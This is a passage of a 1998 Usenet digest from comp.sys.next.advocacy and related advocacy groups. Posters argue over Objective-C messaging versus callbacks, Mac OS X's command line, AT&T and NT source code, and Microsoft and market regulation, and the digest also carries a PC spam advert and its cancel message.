Message-ID: <vadN1vjp9GA.126@cidintnews.infosel.com.mx>
Newsgroups: comp.sys.next.advocacy
Date: Thu, 02 Jul 1998 23:35:08 -0500
Brand New 200MHZ PC's for less than $600. Includes Monitor.
That's right, New 200MHZ PC's for less than $600.
Check out our limited supply of Brand New Pc's at
http://208.241.1.28/pc4lessonline/specialoffer/
Thanks
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 98 23:33:31
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul2233331@slave.doubleu.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de>
<6mrbql$q7m@newsb.netnews.att.com> <35917C62.E3038D26@trilithon.com>
<6mtgg8$sts$1@nnrp1.dejanews.com>
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<6n90m7$8b4$2@lwnws01.ne.highway1.com>
<SCOTT.98Jul2225157@slave.doubleu.com>
<SCOTT.98Jul2230751@slave.doubleu.com>
In-reply-to: scott@doubleu.com's message of 2 Jul 98 23:07:51
In article <SCOTT.98Jul2230751@slave.doubleu.com>,
scott@doubleu.com (Scott Hess) writes:
In article <SCOTT.98Jul2225157@slave.doubleu.com>,
scott@doubleu.com (Scott Hess) writes:
I very much expect we'll reach a point in the future where the
"problem solving" that I do will be the end of it. I'll take
the problem from a client, specify the problem to a suitable
level of precision, and the computer will execute that
specification itself.
Clarification - here I'm thinking something like CASE tools want to
be. The tool used to specify the solution will either directly
execute the solution or compile it or somesuch.
Serendipity strikes: This week's Cringely column at
http://www.pbs.org/cringely/text.html explicitely addresses my point:
So if we can say anything definitively about the application of
technology, I'd say that it tends to improve manufacturing rather
than creation. Writing is creation while printing is the
manufacturing of what has already been written.
That's _exactly_ what I'm saying. The act of manufacturing programs
we write will get easier and easier in the future. The act of writing
the programs will continue to take brain sweat proportional to the
utility of the program, though,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <vadN1vjp9GA.126@cidintnews.infosel.com.mx>
Control: cancel <vadN1vjp9GA.126@cidintnews.infosel.com.mx>
Date: 03 Jul 1998 05:21:03 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.vadN1vjp9GA.126@cidintnews.infosel.com.mx>
Sender: PC
Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Thu, 02 Jul 1998 11:28:05 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-0207981128050001@jchristie.halifaxcable.dal.ca>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <6ne2sp$ev7$1@nnrp3.snfc21.pbi.net>
In article <6ne2sp$ev7$1@nnrp3.snfc21.pbi.net>, "William Edward Woody"
<woody@alumni.caltech.edu> wrote:
> So how many cards do you have plugged into your Macintosh? You
> probably have one of those expander chassies in order to plug in
> another 6 cards into your system, right?
Actually, I have 10.
> Crawl out of your "cyberlayer" and take a look around. There are
> several different types of consumers out there, not just one. And
> while I may find the new VW Beetle a beautiful and well engineered
> car, you may find it a small, confining piece of junk.
As a 6 foot+ individual I find it is the only thing other than some
trucks I can wear a hat in (the back seat is another matter).
> Should I complain because Porsche's new Boxster doesn't have
> VW's fuel efficient desiel? After all, they are the same company.
> And wouldn't it be KeWl to be able to get 60 miles to the gallon
> in a Boxster?
What a great idea! Imagine the slogan, "drive more, drive farther!"
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 1998 09:48:57 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6nfl29$46q$1@ns3.vrx.net>
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<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
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Cc: eusmpec@exu.ericsson.se
In <359A9A36.C215C64F@exu.ericsson.se> Michael Peck claimed:
> No, you misunderstand. Every system *besides* MacOS allows objects to
> dispatch their own events. It's just not novel that NEXTSTEP does it. I
> was asking the question to be sure I understood your point. I'm sorry to
> be obtuse.
Well I'm not so sure you _do_ get the point yet. Yes, OS objects can post
events, but as you say, so can everyone else.
> Right. If you were using straight Xlib, for instance, you would be doing
> exactly the same thing: processing events from a queue in a tight loop.
Yup, ugly stuff.
> MacOS is about as intelligent about events as the bare X protocol
> itself.
Perhaps worse, does X at least tell you they selected a menu, rather than
just handing you a mouseDown?
> > That is, with IB alone I can write the program
> > flow of my application - although not the logic.
>
> I don't see the difference. You *can* define first-response widget
> reactions
Under X? Ok maybe, but I thought we were talking MacOS here.
> How do you attach this code to your object?
That's the key to the whole thing, in IB you select the straight NS object,
say NSButton, and tell it to send a "add10:" message to the "adder" object.
Then you save, which freeze-dries that link. the adder can be anything -
code from NeXT, code from the net (all precompiled), code you wrote in Obj-C
or Java, or even TCL. If there's a behaviour out there, you can use it.
> Are you subclassing from the original?
Nope, straight NSButtons, views etc.
> If not, I'm at a loss as to how you are directing this
> precompiled object to perform this code
So are most other object libs it seems. Too bad for them I guess.
Maury
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Thu, 02 Jul 1998 09:58:32 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359BA018.8432F96A@nstar.net>
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<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net>
<6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net>
<6nda93$ln8$10@ns3.vrx.net> <359A896A.3805E57E@exu.ericsson.se>
<6ndi4u$ejq$1@ns3.vrx.net> <359A9A36.C215C64F@exu.ericsson.se> <6nfl29$46q$1@ns3.vrx.net>
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NNTP-Posting-Date: 2 Jul 1998 15:03:38 GMT
Maury Markowitz wrote:
> Well I'm not so sure you _do_ get the point yet. Yes, OS objects can post
> events, but as you say, so can everyone else.
I think that was the point.
> Perhaps worse, does X at least tell you they selected a menu, rather than
> just handing you a mouseDown?
No, bare X doesn't know anything about widgets; it works just like DPS.
> > I don't see the difference. You *can* define first-response widget
> > reactions
>
> Under X? Ok maybe, but I thought we were talking MacOS here.
Under NEXTSTEP! We were talking about NS here.
> > How do you attach this code to your object?
>
> That's the key to the whole thing, in IB you select the straight NS object,
> say NSButton, and tell it to send a "add10:" message to the "adder" object.
> Then you save, which freeze-dries that link. the adder can be anything -
> code from NeXT, code from the net (all precompiled), code you wrote in Obj-C
> or Java, or even TCL. If there's a behaviour out there, you can use it.
That's all great. Does anyone know how this is actually performed,
somewhere beneath the layer of "magic"? I'm just going to go with
callbacks, as a working assumption.
> > If not, I'm at a loss as to how you are directing this
> > precompiled object to perform this code
>
> So are most other object libs it seems. Too bad for them I guess.
:-) Don't make this harder than it has to be. I'll look in the OPENSTEP
docs tonight and see if I can get a sense of how it is done.
MJP
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 3 Jul 1998 07:30:41 GMT
Organization: Occam's Razor
Message-ID: <6ni1b1$pb8$1@news.cmc.net>
References: <6ng2mk$erb$1@news.cmc.net> <bhahn-ya02408000R0207981248590001@news.transoft.net>
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Cc: bhahn@spam-spam.go-away.com
In <bhahn-ya02408000R0207981248590001@news.transoft.net> Brendan Hahn wrote:
>
>Where did this "no CLI" news come from? I can't find anything about it
>outside of this thread.
Apple's Rhapsody FAQ.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Mac OS X Server? (was Re: Apple: No CLI in Mac OS X)
Date: 3 Jul 1998 07:36:59 GMT
Organization: Occam's Razor
Message-ID: <6ni1mr$pb8$2@news.cmc.net>
References: <6ng2mk$erb$1@news.cmc.net> <6ng93d$9mt$1@sun27.hrz.tu-darmstadt.de>
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Cc: neuss.@informatik.th-darmstadt.de.nos-pam
In <6ng93d$9mt$1@sun27.hrz.tu-darmstadt.de> Christian Neuss wrote:
>
>If, however, you open a connection on port 23... You could
>even turn that off by default, and only enable it as part of the
>'server software kit' (very much like Windows NT server is
>basically a bunch of registry entries). Well, you get all the
>goodies, but still can claim to have a system without any
>ugly command lines and evil U-word incantations. And heck,
Here's another thing I hope, hope, hope Apple doesn't do with
Mac OS X: ship a crippled client version, then charge big bucks
for a server version that includes fundamental administrative
capabilities.
Remote command-line access is just as handy on clients as on
servers. I have to laugh at Windows admins, scurrying about their
offices installing the latest virus protection software, or
logging in as the local Administrator to perform basic functions,
or what have you. Of course, maybe it keeps them in slightly
better shape, but that's no excuse. ;-)
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 1998 23:34:28 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6nh5e4$b53$3@blue.hex.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de> <35911d96.0@206.25.228.5> <SCOTT.98Jun29125823@slave.doubleu.com> <6n8vma$8b4$1@lwnws01.ne.highway1.com> <slrn6pihqq.rei.sal@panix3.panix.com> <6nc44r$aqu$2@lwnws01.ne.highway1.com>
On 1 Jul 1998 01:41:47 GMT, John Kheit <jkheit@mediaone.net> wrote:
>sal@panix3.panix.com (Salvatore Denaro) wrote:
>> This reminds me of something I heard as a child.
>
>> "The first thing you learn about making wine is that it is very
>> easy to make vinegar"
>
>> I think it follows that any progress that makes it easier to make
>> wine is going to increase the volume of vinegar. The web is an
>> perfect case in point. It should be used as a case against
>> progress; There was plenty of vinegar before.
>
>I completely disagree. This is a popular "funny" kind of thing to
>say, with little back bone. Who cares if more people make vinigar?
>Are they forcing you to drink it? No. However, if we get even
>one extra good winery, then we are all winners because we have
>another good source of wine we otherwise would have had.
>To me
>literacy is a great example. Before the printing press, illiteracy
>was the norm. Afterwards, it declined and societies have gained
>much from those who otherwise would not have been afforded an
>opportunity obtain literature and learn how to read. Sure, many
>of the people that became literate did little to contribute to our
>literary base. Some did little more or perhaps less than "Man from
>nantucket" lymrics. However, many more works added to our base of
>knowledge.
This is an appropriate moment to bring up Marshall McLuhan and his "Laws
of Media."
He asserted that all media have four properties that seem to be
fundamental:
a) They cause some previous media to become obsolete.
Not as an absolute, but as a tendancy.
For instance, literacy obsolesces memorization skills, as you can write
things down and thus not need to have them memorized.
b) They retrieve some previously obsolesced media.
For instance, the availability of dirt cheap electricity via cold fusion
would cause processes that previously were too energy-costly to become
useful once more.
Similarly, increased availability of computer memory makes it practical
to use algorithms that were previously discarded, previously considered
too wasteful of memory.
c) They intensify/enhance things.
The "more wine --> more vinegar" effect would be a good example of this.
d) When pressed to an extreme, media tend to "reverse themselves" in
ways that were not expected.
The web can turn into a jumble of incoherence if pressed to extremes.
>And sure, the web has lots of crappy looking, dumb content web
>pages. It also has a lot of crappy looking, high (if not dull and
>boring) content web pages. And other permutations therein. But
>the web makes so many things easier. Finding when movies are
>playing, doing research, finding out about products, about companies,
>buying securities, etc. etc. So why begrudge people their crappy
>web pages? No one makes you go there and look at them. By not
>begrudging people an opportunity, by going forward and progressing,
>many "average joes" that would not otherwise be able to be heard
>by the public at large have found a voice, and a vehicle for that
>voice. And some of those "joes" have made wonderful contributions
>to us all. I need look no further than the fine folks at Stepwise
>and their members.
>
>The great thing with progress, is we can oftimes be choosey; taking
>the good and ignoring the bad.
I disagree. You don't always get that choice. Good and ill effects are
often not readily separable.
- Crypto technology allows enhanced privacy for both good folk as well
as criminals of whatever description.
- Spell checkers and fancy word processors make documents look better,
which may be good for those with valuable/correct material, but which
also enhances the appearance of material that is utter rubbish.
And the web has *not* resulted in providing ways for "average joes" to
be "heard by the public at large."
Usenet and the Web have provided a new forum where some new
'celebrities' have been able to emerge. The nature of that 'celebrity'
status is different from what is seen in other media, as the aspects of
the individual that are displayed are different.
- In radio, aural "appearance" is critical. The people that are heard
are those that have "good voices."
- In television and movies, visual appearance is critical. And thus
Hollywood is filled with "the beautiful people."
- In written literature, the ability to express ideas coherently is the
aspect of appearance that is critical.
Usenet and the Web take after that last aspect.
--
>Ever heard of .cshrc?
That's a city in Bosnia. Right?
(Discussion in comp.os.linux.misc on the intuitiveness of commands.)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 2 Jul 1998 23:47:15 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6nh663$o1q$1@news.cs.tu-berlin.de>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B21AB.E6A26F64@nstar.net> <6ng3t9$t6d$1@news.cs.tu-berlin.de> <359B965F.9CB9BE4C@nstar.net> <6ngkhk$b9r$1@news.cs.tu-berlin.de> <359BEFE7.4BC479A8@exu.ericsson.se>
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Michael Peck <eusmpec@exu.ericsson.se> writes:
[petty insults deleted]
>Now, we've set up the comparison again. Without putting words into my
>mouth this time, perhaps you can construct a response. End with a
>period.
I've stated this multiple times: there is no question in *my* mind
that MS has behaved immorally in the past and continues to do so.
>> >No, that's really not so. But since you say so, I'd like to hear your
>> >definition of "regulatory", and what instances of such "regulation" you
>> >think *must* exist in a free market.
>>
>> Any regulation that is necessary so that the free market actually
>> benefits society, instead of harming it. A free market is not
>> an end in itself.
>Regulation presumes that some external force (government) has the
>prerogative of interjecting its judgment in place of the market's
>judgment. Regulation is an act of will, free-market economics are a
>process of natural causes and effects.
This is very naive. Free markets are mechanisms that are set up
by societies in order to maximize economic output. Check out
Adam Smith if you don't believe me.
>Two points: one, the voluntary act of will must be held accountable for
>itself. Regulation has spawned more grief than it has good. It must also
This is a bold assertion. Prove it. Now I'm the first one to say
that any government interference is to be viewed with suspicion, but
it is still necessary. The free markets you idolize so much are not
actually natural entities, but artificial constructs created by
appropriate legislation and regulation.
>be justified; it has not. Two, the voluntary act of will (regulation)
>must first demonstrate that its judgment and ability to effect
>resolution is *superior* to the natural outcomes of a free-market. That
Not in a democracy it doesn't. The free market is subordinate to
society, not the other way around.
>has never been accomplished, nor can it actually be done.
[problems with regulation]
Yup. Regulation is a mess.
>> You are looking to find simple answers to complex questions, and
>> seem to have found some simple (I would say simplistic) answers
>> that look satisfactory to you.
>None of the answers are simple, but the principles upon which I base the
>answers are. As long as I don't contradict my principles, I can be sure
>of consistent, systematic philosophy.
That is exactly what I was refering to. Such a philosophy is very
simple and comforting, it just as very little bearing on the real
world.
>On the other hand, saying "I've found the exception to the rule because
>I have this bad feeling about [name your evil capitalistic company]" is
>not principled. It is arbitrary.
1. Personal opinion *is* arbitrary. So is personal interest.
That is what 'free markets' and politics are all about.
If you believe anything else, you're kidding yourself.
2. I am not saying I have found an exception to "the rule".
3. What is "the rule"? Who made it? You?
4. It is not "evial capitalistic company" but "evil monopolistic
company".
5. What I have is not a "bad feeling" but restrictions in my freedom
Meaning for example having to suffer unbearable software because
other choices have been eliminated by unfair business tactics.
[...]
>> Liberty:
>> 1: the quality or state of being free:
>> a: the power to do as one pleases
>> b: freedom from physical restraint
>> c: freedom from arbitrary or despotic control
>> d: the positive enjoyment of various social, political, or economic rights and privileges
>> e: the power of choice
>>
>> What's your definition?
>Definition c.
>> I like the one about despotic control. For example, I would like to
>> be free from BG killing my brand new spanking amazing product idea
>> by simply announcing that Windows-3000 will have something much
>> better.
>You've lost me. You said something about despotic control (and my mind
>started to nod in agreement), then you broke into this tangent about
>product announcements.
Well, maybe if you think about it a little more...
>> How many people have reported that they basically have *no choice*
>> but to run MS-Office because of file-format issues. You have to
>> be really, really ideiologically blinded to not see that there
>> is something there that is not OK.
>Something is not OK,
Step 1.
>we change it.
If possible.
>The means are unimportant.
You said that, I never did and never will. The means are very
important. As are the ends.
>Is that the basis of your political outlook, Marcel?
Not at all. If that is really something you have been reading
into my posts, then you really are absolutely hopeless.
>That was and is the basis of fascism.
Actually, it's not. It is the plumbers' motto, and your innuendo
is just way out of line. I'll just leave it at that, because there
is no way I can respond to that sort of thing in kind.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Thu, 02 Jul 1998 18:59:31 -0500
Organization: none
Message-ID: <tim-0207981859310001@jump-k56flex-1006.jumpnet.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net> <6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net> <6nda93$ln8$10@ns3.vrx.net> <359A896A.3805E57E@exu.ericsson.se> <6ndi4u$ejq$1@ns3.vrx.net> <359A9A36.C215C64F@exu.ericsson.se> <6nfl29$46q$1@ns3.vrx.net> <359BA018.8432F96A@nstar.net> <6ngagb$vb53@onews.collins.rockwell.com> <359BD1BD.36CA316B@exu.ericsson.se> <6ng4m2$g0n$1@ns3.vrx.net>
In article <6ng4m2$g0n$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
| Balogna, in general programming circles this is TERRIBLY new, spawing whole
| industries like Java and CORBA. This is new. This is the key to the whole
| system.
Well, it was somewhat new in 1972 - 1980 when Smalltalk appeared.
| That is not a callback! This IS
| utterly unlike anything out there with the exception of JavaBeans.
... and Smalltalk.
--
-- Tim Olson
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998070300151200.UAA27801@ladder01.news.aol.com>
Date: 3 Jul 1998 00:15:12 GMT
Organization: AOL http://www.aol.com
References: <joe.ragosta-0207981558320001@wil47.dol.net>
Given the huge amount of verbage I've seen on the matter of, "How do I fax from
Quark XPress so I can send proof to my clients?" I'd say that the NeXT
_platform_ is the clear winner here, though it's to be hoped that the Mac OS X
and its successors will be able to leverage this to advantage.
As regards the matter of icon size--I'd like to argue that it's not a matter of
taste, but one of proportion--the apportionment of bitmap pixels to UI elements
and type.
As I've noted in the past, the 48 x 48 icons on my Cube are roughly the same
areal space as the 32 x 32 iconswere on my 128K Mac. This is natural given
that the Mac was 72dpi and the NeXT is 92 dpi for screen display (but shrunk
~78%).
I want to see all icon sizes supported (even the 16 x 16 which I think is so
shrunken as to approach uselessness) and more added. I'd dearly love to be able
to purchase a 15" display which would support a 1600 x 1200 resolution, and set
it to twice the dpi as is normal for a 15" running at 800 x 600 and get four
times the detail for the same amount of textual and bitmap/graphic information
(and with 64 x 64, or maybe 96 x 96 icons).
The preview screenshot for the Rhapsody UI seemed to have a slider for this
sort of thing, I hope it does exist and that it is well implemented and
continues into Mac OS X.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Date: Thu, 2 Jul 1998 13:15:35 -0500
Message-ID: <359bcec6.18603503@hydra>
From: brother@trinity.mensa.net (Identity Withheld)
Subject: Re: ISP's run NT? Hogwash!
References: <6ndql0$a7u$4@bertrand.ccs.carleton.ca> <359a800f.17939822@hydra> <joe.ragosta-0107981511100001@wil51.dol.net> <359b8d6f.1873915@hydra> <joe.ragosta-0207981128480001@wil55.dol.net>
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On Thu, 2 Jul 1998 10:28:48 -0500 , joe.ragosta@dol.net (Joe Ragosta)
wrote:
>In article <359b8d6f.1873915@hydra>, brother@trinity.mensa.net (Identity
>Withheld) wrote:
>
>>
>> AT&T has the source code. They have their own version of NT that runs
>> as a process on Unix. This feat would not be possible if they didn't
>> have the source code. No, I don't have a URL.
>
>Let's see. AT&T claims that they don't have the source code in a court
>document. You claim that they do without evidence.
>
>Which one do you think is more credible?
Point granted. To give a reference would be to violate contractual
obligations.
>BTW, if AT&T got just enough of th esource code to set it up as a process
>under Unix, but not all of it, then AT&T could be correct in their claim
>even if MS gave them some source code.
Joe, how much do you know about NT architecture? It would be
*impossible* to compile a version of NT that runs as a process under
another system without full access to kernel code.
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Thu, 02 Jul 1998 13:30:21 -0500
Organization: Ericsson North America Inc.
Message-ID: <359BD1BD.36CA316B@exu.ericsson.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net>
<6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net>
<6nda93$ln8$10@ns3.vrx.net> <359A896A.3805E57E@exu.ericsson.se>
<6ndi4u$ejq$1@ns3.vrx.net> <359A9A36.C215C64F@exu.ericsson.se>
<6nfl29$46q$1@ns3.vrx.net> <359BA018.8432F96A@nstar.net> <6ngagb$vb53@onews.collins.rockwell.com>
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Erik M. Buck wrote:
>
> The incredible ignorance that is demonstrated about dynamic OO systems is
> astounding.
It shouldn't be. I asked the question, after all. And asked, and asked.
Now you burst in like this, and the insults begin to fly. I respect
that, be assured. Let's have a round of applause for Erik M. Buck.
> Object messaging is different that function calls.
> Given the foo(10) function call, a compiler and linker MUST resolve the
> symbol "foo" to the address of a function entry point. Even with a virtual
> member function in C++, the symbol "foo" MUST be resolved to a constant index
> into a vTable.
Nothing new here.
> Given the message [someObject foo:10], the compiler and linker don't need ANY
> information about "someObject" or "foo:". It may very well be that
> "someObject" and "foo:" do not even exist in the program. Perhaps they are
> loaded as a plug-in.
Nothing new here.
> So, with function calls, it is necessary to attach a "call back" function to
> a button in order for a button press to do anything. In order for the "call
> back" function to be attached, recompilation is required and the
> compiler/linker must be able to resolve the function to an address or offset
> in a vTable.
Nothing new here.
> With messaging, the button can have two instance variables. One is called
> "target" and it stores "someObject" which may not even exist yet. The other
> is called "action" ant it stores "foo:" which is of type SEL which is defined
> as typedef const char * SEL;. Note, both "target" and "action" are
> variables! In interface Builder, one simply sets the values of "target" and
> "action" and serializes the button. No code is generated. No compiling is
> needed. When run, a press on the button will sent the "foo:" message to
> "target". If "target" is nil, the "action" message is sent down a "chain of
> responsibility" allowing any object to respond. The button need not even
> know what object will respond if any.
Nothing new here.
> The equivalent chain of responsibility and detachment of sender from receiver
> is accomplished with EVENTS in MacOS, Windows, and Motif. EVENTS in those
> systems are different than messages and must somehow be converted into
> function calls (virtual or not) to each object that receives the EVENT.
Nothing new here.
> With Openstep, the message is sent. It does not matter who sent the massage.
> It does not matter what the massage is. It does not matter who receives the
> message. All messages are the same. In fact the message sent and the
> receiver can be changed dynamically at run-time without recompile. See
> Objective-TCL or Joy for examples of this.
Finally, the answer I was looking for. A bit unspecific, unfortunately.
I've got some Objective C docs, though, so don't feel obliged.
> Openstep is incredibly powerful. Other systems are impoverished by
> comparison.
Definitely nothing new here. It's like one of those advertisement
jingles that you can't get out of your head, you've heard it so many
times, but it sort of makes you uninterested in the product...
MJP
From: dfs@doe.carleton.ca (David F. Skoll)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Date: 2 Jul 1998 18:00:19 GMT
Organization: Carleton University, Ottawa, Canada
Message-ID: <6nghrj$ep0$2@bertrand.ccs.carleton.ca>
References: <6ndql0$a7u$4@bertrand.ccs.carleton.ca> <359a800f.17939822@hydra>
In article <359a800f.17939822@hydra>, Identity Withheld
(brother@trinity.mensa.net) wrote:
> >AT&T claims Microsoft has not delivered something it agreed to deliver.
> >I can't comment on this; presumably, neither can you unless you have
> >inside information.
> I keep reading right in these newsgroups about one superiority of Unix
> being the source code is there. So AT&T has the source code and is now
> bitching about... what?
In what I've read, AT&T claims MS is withholding source code to
the latest version of NT. Again, I can't comment on the validity
of this claim, and neither can you -- it will come out in
the courts.
I'd note that AT&T or anyone else would have
no such hassles if they needed Linux source code.
> >A 1998 TV is substantially the same as a 1992 TV. I'd only buy a
> >new TV if my old one dies.
> My '97 Mitsubishi 35" is *substantially* different from my Sony 25" of
> 1992 in much more than size of the screen. Seriously, do you think
> before posting, or do you go on automatic argue-mode?
I guess some things aren't important to me. Most TV shows are
trash, whether viewed on my 14" 1985 TV or your 35" 1997 TV. Given
the quality of the shows, I see no compelling reason to buy a better TV.
> >Buying a new car really *is* irrational. It's a financial blunder
> >of the largest proportion. I'm glad others buy new cars so I can
> >buy used. :-)
> The context of the discussion has little to do with cost.
On the contrary, it does. Saving money is a rational business decision
to buy something. Buying something because you like its smell
or because it is heavily promoted in trade magazines is not a
rational business decision.
> >It's worth buying new things *if* they're better than the old things.
> >It's irrational to buy a new OS which is (a) not as good as the "old"
> >OS, (b) proprietary and (c) being 80% rewritten with attendant delays,
> >foul-ups and bug introductions.
> <shrug> 'Bout time you get to the point. Regardless, there are lots of
> folks successfully running NT in a variety of applications and
> scenarios.
So what? If you work hard enough, you can probably run on DOS. But is
it the easiest or most cost-effective?
> Keep in mind that newspapers never print anything that is
> good news. That goes for the media in general and especially applies
> to advocates.
Over-simplification. I can dig up dozens of "good news"
stories in newspapers and magazines. Magazines with
heavy MS advertising have a curiously large proportion
of "good news" stories about Microsoft.
--
David F. Skoll
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 1998 14:15:30 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ng4m2$g0n$1@ns3.vrx.net>
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In <359BD1BD.36CA316B@exu.ericsson.se> Michael Peck claimed:
> > The incredible ignorance that is demonstrated about dynamic OO systems is
> > astounding.
>
> It shouldn't be. I asked the question, after all. And asked, and asked.
> Now you burst in like this, and the insults begin to fly.
He was not insulting you.
> > Given the message [someObject foo:10], the compiler and linker don't need
ANY
> > information about "someObject" or "foo:". It may very well be that
> > "someObject" and "foo:" do not even exist in the program. Perhaps they
are
> > loaded as a plug-in.
>
> Nothing new here.
Balogna, in general programming circles this is TERRIBLY new, spawing whole
industries like Java and CORBA. This is new. This is the key to the whole
system.
> > needed. When run, a press on the button will sent the "foo:" message to
> > "target". If "target" is nil, the "action" message is sent down a "chain
of
> > responsibility" allowing any object to respond. The button need not even
